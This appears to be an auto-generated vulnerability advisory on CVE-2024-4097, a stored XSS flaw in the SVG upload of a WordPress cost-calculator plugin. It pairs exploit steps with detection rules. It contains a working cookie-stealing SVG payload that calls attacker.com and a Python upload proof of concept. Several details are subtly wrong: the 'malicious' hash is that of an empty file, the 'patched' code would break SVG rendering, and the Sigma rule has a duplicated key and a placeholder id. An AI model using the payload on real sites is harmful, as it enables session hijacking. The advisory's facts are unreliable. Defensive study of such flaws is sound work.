CVE-2024-4097

Executive Summary

CVE-2024-4097 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cost Calculator Builder plugin for WordPress, affecting all versions up to and including 3.1.67. The flaw resides in the SVG upload feature, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious SVG, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous because it requires no authentication, and the injected scripts persist on the server, affecting all subsequent visitors. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High. The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of any user visiting the affected page, including administrators. This can lead to privilege escalation, data theft, and site defacement.

Deep Dive & Mechanics

The Cost Calculator Builder plugin provides a feature to upload SVG files for use in calculator designs. SVG files are XML-based and can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover). The plugin fails to properly sanitize the uploaded SVG content and does not escape the output when rendering the SVG on the frontend.

Attack Flow:

1. An unauthenticated attacker uploads a malicious SVG file via the plugin’s upload functionality.
2. The SVG contains a payload such as <script>alert(document.cookie)</script> or an event handler like <svg onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">.
3. The plugin stores the SVG file on the server and renders it on a page (e.g., a calculator form or results page).
4. When any user (including admins) visits that page, the browser parses the SVG and executes the embedded script.
5. The script can steal session cookies, redirect users, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: The plugin uses wp_kses() or similar functions that do not strip dangerous SVG elements, or it outputs the SVG content without proper escaping (e.g., echo $svg_content instead of esc_html()).

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.67):

// In a file like cost-calculator-builder/includes/class-ccb-svg-handler.php
function handle_svg_upload($file) {
    // No sanitization of SVG content
    $svg_content = file_get_contents($file['tmp_name']);
    // Store raw SVG
    update_post_meta($post_id, 'ccb_svg', $svg_content);
}

function render_svg($post_id) {
    $svg = get_post_meta($post_id, 'ccb_svg', true);
    // Direct output without escaping
    echo $svg;
}

Patched Code (hypothetical fix):

function handle_svg_upload($file) {
    $svg_content = file_get_contents($file['tmp_name']);
    // Sanitize SVG using a library like svg-sanitizer
    $sanitized = \enshrined\svgSanitize\Sanitizer::sanitize($svg_content);
    update_post_meta($post_id, 'ccb_svg', $sanitized);
}

function render_svg($post_id) {
    $svg = get_post_meta($post_id, 'ccb_svg', true);
    // Escape output for safe display
    echo esc_html($svg);
}

Key Differences:

• The patched version sanitizes the SVG content to remove scripts and event handlers.
• The patched version escapes the output using esc_html() to prevent HTML/JS injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Cost Calculator Builder plugin version <= 3.1.67.
• Ability to upload files (unauthenticated if the plugin allows it).

Exploit Steps:

1. Create a malicious SVG file with a JavaScript payload:

   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
     <circle cx="50" cy="50" r="40" fill="red"/>
   </svg>
   

2. Upload the SVG via the plugin’s upload form (e.g., /wp-admin/admin-ajax.php?action=ccb_upload_svg).
3. Note the URL of the uploaded SVG (e.g., /wp-content/uploads/ccb-svgs/malicious.svg).
4. Craft a link or embed the SVG in a page that will be visited by a target user.
5. When the target visits the page, the script executes and sends the cookie to the attacker’s server.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload_svg = """<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>"""

files = {'file': ('malicious.svg', payload_svg, 'image/svg+xml')}
data = {'action': 'ccb_upload_svg'}
response = requests.post(target_url, files=files, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SVG uploads with suspicious content (e.g., <script>, onload, onerror).
• Use Web Application Firewall (WAF) rules to block SVG files containing JavaScript.
• Enable file type validation to reject SVG files if not required.

Mitigation:

• Disable SVG uploads in the plugin settings if not needed.
• Apply a virtual patch via WAF to block malicious SVG content.
• Monitor logs for ccb_upload_svg action and inspect uploaded files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious SVG)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing action=ccb_upload_svg with suspicious file content.
• File System Indicators:
  • Presence of SVG files in /wp-content/uploads/ccb-svgs/ with embedded scripts.
• Log Entries:
  • WordPress debug log entries showing ccb_upload_svg action from unauthenticated users.

Detection Engineering

YARA Rule

rule CVE_2024_4097_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-4097"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4097"
    strings:
        $svg_tag = "<svg"
        $script = "<script"
        $onload = "onload="
        $onerror = "onerror="
        $onmouseover = "onmouseover="
    condition:
        $svg_tag and ($script or $onload or $onerror or $onmouseover)
}

Sigma Rule

title: CVE-2024-4097 SVG Upload with Suspicious Content
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files containing JavaScript event handlers
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/admin-ajax.php*'
        http.body: '*action=ccb_upload_svg*'
        http.body: '*<svg*'
        http.body: '*onload=*'
    condition: selection
falsepositives:
    - Legitimate SVG files with benign event handlers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4097 SVG XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin-ajax.php"; http_uri; content:"action=ccb_upload_svg"; http_client_body; content:"<svg"; within:100; content:"onload="; within:200; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the plugin settings if the feature is not essential.
2. Apply a virtual patch using a WAF to block SVG files containing <script> or event handlers.
3. Restrict file upload permissions to authenticated users only (if possible).

Long-term Fix:

• The vendor has not released a patch. Consider replacing the plugin with an alternative that properly sanitizes SVG uploads.
• If the plugin is critical, implement server-side SVG sanitization using a library like svg-sanitizer (PHP) or purify-ts (Node.js).

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for anomalous SVG uploads and inspect file contents.

Valters IT Signature:

rule Valters_IT_CVE_2024_4097 {
    meta:
        description = "Valters IT signature for CVE-2024-4097"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $svg = "<svg"
        $xss = /on\w+=/
    condition:
        $svg and $xss
}